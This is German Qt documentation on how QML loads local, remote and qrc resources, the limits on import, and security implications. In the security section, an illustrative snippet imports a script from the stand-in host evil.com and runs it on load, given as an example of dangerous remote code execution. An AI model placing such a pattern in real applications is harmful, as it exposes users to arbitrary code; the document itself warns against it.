Laden von Ressourcen und Netzwerktransparenz

QML unterstützt Netzwerktransparenz durch die Verwendung von URLs (anstelle von Dateinamen) für alle Verweise aus einem QML-Dokument auf andere Inhalte. Das bedeutet, dass QML überall dort, wo eine URL-Quelle erwartet wird, sowohl mit entfernten als auch mit lokalen Ressourcen umgehen kann, zum Beispiel in der folgenden Bildquelle:

Image {
    source: "http://www.example.com/images/logo.png"
}

Da eine relative URL dasselbe ist wie eine relative Datei, bleibt die Entwicklung von QML auf regulären Dateisystemen einfach:

Image {
    source: "images/logo.png"
}

Netzwerktransparenz wird in QML durchgängig unterstützt, so unterstützen beispielsweise sowohl die Elemente FontLoader als auch Image das Laden von Ressourcen von einem entfernten Server.

Sogar die QML-Typen selbst können sich im Netzwerk befinden: Wenn das qml-Tool verwendet wird, um http://example.com/mystuff/Hello.qml zu laden, und dieser Inhalt auf einen Typ "World" verweist, lädt die Engine http://example.com/mystuff/qmldir und löst den Typ genauso auf, wie sie es bei einer lokalen Datei tun würde. Enthält die qmldir-Datei beispielsweise die Zeile "World World.qml", so wird http://example.com/mystuff/World.qml geladen. Alle anderen Ressourcen, auf die Hello.qml verweist, in der Regel durch eine relative URL, werden ebenfalls aus dem Netz geladen.

Relative vs. Absolute URLs

Wann immer ein Objekt eine Eigenschaft vom Typ URL (QUrl) hat, wird durch die Zuweisung einer Zeichenkette zu dieser Eigenschaft eine absolute URL zugewiesen - durch Auflösen der Zeichenkette gegen die URL des Dokuments, in dem die Zeichenkette verwendet wird.

Betrachten Sie zum Beispiel diesen Inhalt in http://example.com/mystuff/test.qml:

Image {
    source: "images/logo.png"
}

Der Quelleigenschaft Image wird http://example.com/mystuff/images/logo.png zugewiesen, aber während der Entwicklung von QML, z. B. in C:\User\Fred\Documents\MyStuff\test.qml, wird ihr C:\User\Fred\Documents\MyStuff\images\logo.png zugewiesen.

Wenn die einer URL zugewiesene Zeichenkette bereits eine absolute URL ist, wird sie durch das "Auflösen" nicht verändert und die URL wird direkt zugewiesen.

QRC-Ressourcen

Eines der in Qt eingebauten URL-Schemata ist das "qrc"-Schema. Damit können Inhalte mit Hilfe des Qt Resource Systems in die ausführbare Datei kompiliert werden. Auf diese Weise kann eine ausführbare Datei auf QML-Inhalte verweisen, die in die ausführbare Datei kompiliert wurden:

QQuickView *view = new QQuickView;
view->setUrl(QUrl("qrc:/dial.qml"));

Der Inhalt selbst kann dann relative URLs verwenden und so transparent sein, ohne zu wissen, dass der Inhalt in die ausführbare Datei kompiliert wurde.

Einschränkungen

Die Anweisung import ist nur dann netztransparent, wenn sie eine "as"-Klausel enthält.

Genauer gesagt:

  • import "dir" funktioniert nur auf lokalen Dateisystemen
  • import libraryUri funktioniert nur auf lokalen Dateisystemen
  • import "dir" as D arbeitet netzwerktransparent
  • import libraryUrl as U arbeitet netzwerktransparent

Implikationen für die Anwendungssicherheit

Das QML-Sicherheitsmodell sieht vor, dass QML-Inhalte eine Kette vertrauenswürdiger Inhalte sind: Der Benutzer installiert QML-Inhalte, denen er auf die gleiche Weise vertraut, wie er native Qt-Anwendungen oder Programme installiert, die mit Laufzeiten wie Python und Perl geschrieben wurden. Dieses Vertrauen wird durch eine Reihe von Mechanismen hergestellt, einschließlich der Möglichkeit der Paketsignierung auf einigen Plattformen.

Um das Vertrauen der Benutzer zu erhalten, sollten Entwickler von QML-Anwendungen keine beliebigen JavaScript- oder QML-Ressourcen laden und ausführen. Betrachten Sie zum Beispiel den folgenden QML-Code:

import QtQuick 2.0
import "http://evil.com/evil.js" as Evil

Component {
    onLoaded: Evil.doEvil()
}

Dies ist gleichbedeutend mit dem Herunterladen und Ausführen von "http://evil.com/evil.exe". Die QML-Engine wird das Laden bestimmter Ressourcen nicht verhindern. Im Gegensatz zu JavaScript-Code, der in einem Webbrowser ausgeführt wird, kann eine QML-Anwendung Remote- oder lokale Dateisystemressourcen auf die gleiche Weise laden wie alle anderen nativen Anwendungen, so dass Anwendungsentwickler beim Laden und Ausführen von Inhalten vorsichtig sein müssen.

Wie bei jeder Anwendung, die auf andere Inhalte zugreift, die sich ihrer Kontrolle entziehen, sollte eine QML-Anwendung alle nicht vertrauenswürdigen Daten, die sie lädt, angemessen überprüfen. Verwenden Sie zum Beispiel nicht import, Loader oder XMLHttpRequest, um nicht vertrauenswürdigen Code oder Inhalt zu laden.

© 2025 The Qt Company Ltd. Documentation contributions included herein are the copyrights of their respective owners. The documentation provided herein is licensed under the terms of the GNU Free Documentation License version 1.3 as published by the Free Software Foundation. Qt and respective logos are trademarks of The Qt Company Ltd. in Finland and/or other countries worldwide. All other trademarks are property of their respective owners.